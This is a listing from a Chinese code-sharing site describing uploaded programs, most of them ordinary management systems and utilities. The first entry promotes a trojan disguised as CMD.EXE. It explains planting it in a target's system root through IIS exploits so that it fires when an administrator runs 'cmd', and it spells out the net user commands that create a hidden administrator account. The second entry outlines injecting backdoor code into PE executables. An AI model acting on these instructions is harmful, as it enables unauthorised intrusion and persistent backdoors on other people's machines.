你是不是经常在开始菜单的运行窗口里运行命令呢? 看看这个漏洞: http://zdnet.com /2100-1105-964057.html win2000和xp在执行搜索的时候, 首先查找根目录 而开始菜单的运行窗口里执行命令, 也是首先在系统盘的根目录里进行查找. 这个漏洞其实是已经是公开的秘密了. 既然现在作为漏洞公布出来, 我也就把网上的PasswordReminder.cpp拿来改了改 加了一个加超级管理员用户和执行cmd.exe的功能. 使用方法: 把程序解压, 把压缩包里的文件 CMD.EXE (该文件具有隐藏和只读属性) 释放到目标机器的系统盘根目录, 一般都是在C:比如利用UNICODE/Decode漏洞就有写根目录的权限, 同时Asp/fp30reg.dll等远程溢出出来的Shell, 一般都只有匿名权限, 但是它具有写根目录的权限 这个时候, 就可以把本程序放到目标机器的系统盘根目录 只要等管理员在机器的开始菜单里运行命令: cmd 一切尽在掌握中.:) PS: 系统执行后, 会先产生一个线程来做一些处理 然后用system()函数调用cmd.exe来让用户能够执行命令. 产生出来的线程会产生两个进程序执行如下两个命令: net user ISUR_IWAM wwwcnhonkercom /add net localgroup administrators ISUR_IWAM /add 这样就在系统上增加了一个超级
上传时间： 2015-01-12
上传用户：qlpqlq
PE可执行文件的镶入式程序的编写方法及示例(镶入式后门程序&原程序) 由于Microsoft公司的Windows系统是当前大部分个人电脑所使用的操作系统 主要包括win95,98,me,nt4,2000,xp等，而这些系统所使用的可执行文件的格式基 本上是PE结构的。这里的可执行文件的镶入式程序就是针对PE结构的可执行文件。 这里先简单说一下PE文件框架结构： DOS MZ header DOS stub//在不支持 PE文件格式的操作系统中它将简单显示一个错误提示 PE header//含了许多PE装载器用到的重要信息 Section table//每个Section的信息 Section 1 Section 2 Section 3.... 由于SectionAlignment 块对齐的原因每个Section之间都会产生很多空间， 镶入式程序的代码可以放在Section之间的空位上，比较方便的方法是把代码放在 最后一个Section的末尾，然后更改Misc.VirtualSize和SizeOfRawData这两个位 于Section table的IMAGE_SECTION_HEADER结构数组的成员。如果代码十分的长， 有时候会造成镶入的代码无法被完全加载而产生错误，这时需要更改SizeOfImage 在IMAGE_NT_HEADERS 结构中。 在不同的WINDOWS版本中api调用地址也有不同，为了解决这个问题可以更改引 入表让加载器
上传时间： 2015-01-13
上传用户：luopoguixiong
系统可用编辑器1. Overview 2. System Requirements 3. Contents of the Distribution Package 4. List of Available Command Line Flag Options 5. Contents of the Extracted Files 6. Installing the Software in Interactive Mode 7. Installing the Software in Silent Mode 8. Installing the INF Files Prior to OS Installation 8A. Installing the Windows* XP INF Files Prior to OS Installation
标签： Distribution Requirements Overview Contents
上传时间： 2015-02-23
上传用户：wab1981
早期的作品 ＝ZHB油泵校正器检测系统（DEMO）＝ 【dos界面设计】 本软件系统采用Borland C++[3.1]编写，系统完全由本人一人利用业余时间开发而成。系统 的开发过程中完全没有用到别人做好的软件包，所有的功能都是由自己一个一个的去实现的，所有的接口都是由自己设计的，包括：汉字显示、XMS调用、鼠标中断处理、键盘中断处理及各种各样的汉字，AscII码字符自适应的显示窗口、菜单窗口、选择窗口、输入窗口、信息显示窗口等等。 对于DOS下的C++编程有一定的参考作用，其中的DOS界面设计应该是比较精彩的部分，另外，一些dos下的设备操作技巧，也也有参考作用吧，比如：XMS调用、鼠标中断处理、键盘中断处理，汉字显示等等。所有的功能用类的方式组织，再利用很容易。 附有编译后的可执行版本,需要附有XMS的DOS系统，在98的DOS窗口下可以运行，2000/nt/xp下不能运行。
上传时间： 2015-02-27
上传用户：zjf3110
能够将2000和XP裁减的非常好用的工具，裁剪以后的2000，运行的速度加快，并且可以去除讨厌的IE，适合用于定制准嵌入式系统
上传时间： 2015-03-14
上传用户：bruce
对图书信息进行图书入库、借阅登记、借阅查询、过期提示、办理借书卡这些日常业务的需要。高效性通过系统的实用，能够改变旧的图书管理模式，使对图书的管理、借阅、查询更加方便有效。 1.2 运行环境： Windows 98/2000/XP/2003操作系统下，安装并配置软件Microsoft SQL Server 2000数据库管理系统。 登陆密码：123
上传时间： 2015-03-16
上传用户：标点符号
安装步骤： 1. 系统开发语言：asp.net＋access/sql server，安装时需保证您的服务器对asp.net和access/sql server数据库的 支持。windows 2000,xp 用户需要安装.NET Framework 1.1 版可再发行组件包 ,.NET Framework 1.1 Service Pack 1,.NET Framework SDK 1.1 版。 请按上面的顺序依次安装,您的服务器即可支持asp.net。也可以省略上述过程直接安装visual stdio.net。 2. 将webshot文件夹复制的硬盘上某目录下，在IIS中建立虚拟目录指向该文件夹。 3.修改Web.config配置文件中，将“F:/web/dinghuidanhomecom/db/eshop.mdb”替换为正确的数据库文件绝对路径。 请注意斜杠/的方向。 数据库绝对路径：在IIS中建立虚拟目录指向webshot根目录文件夹后访问 http://localhost/aspcheck.aspx,其中的APPL_PHYSICAL_PATH变量可以给出webshot文件夹的绝对路径，在加上数据库相对 路径即可。注：必须用数据库绝对路径 4. 数据库位置在db/文件夹下，默认名称eshop.mdb,修改时请同时修改web.config中的数据库绝对路径
上传时间： 2015-03-17
上传用户：xiaoxiang
VB学生信息管理系统，VB 源码，运行环境： Win9x/NT/2000/XP/，程序语言： 简体中文
标签： 信息管理系统
上传时间： 2014-01-18
上传用户：klin3139
这套学籍管理系统,吸取众多软件的优点，适合：小学、初中、高中、中专等学校使用。 软件摒弃了一些不常用的功能，做到了功能强大但不复杂，界面漂亮而不花哨，使用简单化，窗口操作一目了然。 它具备的功能有： 1、适合在网络环境下使用。只需要将工作目录共享，即可实现联网录入，联网管理。 2、支持用户定义和权限定义，可有效防止数据被删除或泄露。 3、采用office xp菜单(全新修改)，XP窗体，XP界面更酷； 4、提供强大的编辑功能，可以实现类EXCEL似的编辑，复制、剪切、粘贴、填充、替换、查找等功能均俱全； 5、对学校版提供了多个实用的报表。报表控件全新修改。 6、报表的任一字段均可以自定义修改，自义定导出等。 7、支持页面的自定义（纸宽、纸高，边距，打印方向） 8、表格支持：隐藏列、行，调整行高、列宽，设置单元格的格式； 9、表格隐藏即不打印，当前表格内容均可导出为其它格式数据。 选择本系统相信会为你的工作减轻不少负担！
上传时间： 2013-12-31
上传用户：253189838
六个系统安装方法及其应用（solaris，freebsd，linux，windows98，2k，xp) 从网络上搜集整理
上传时间： 2015-04-14
上传用户：lanwei
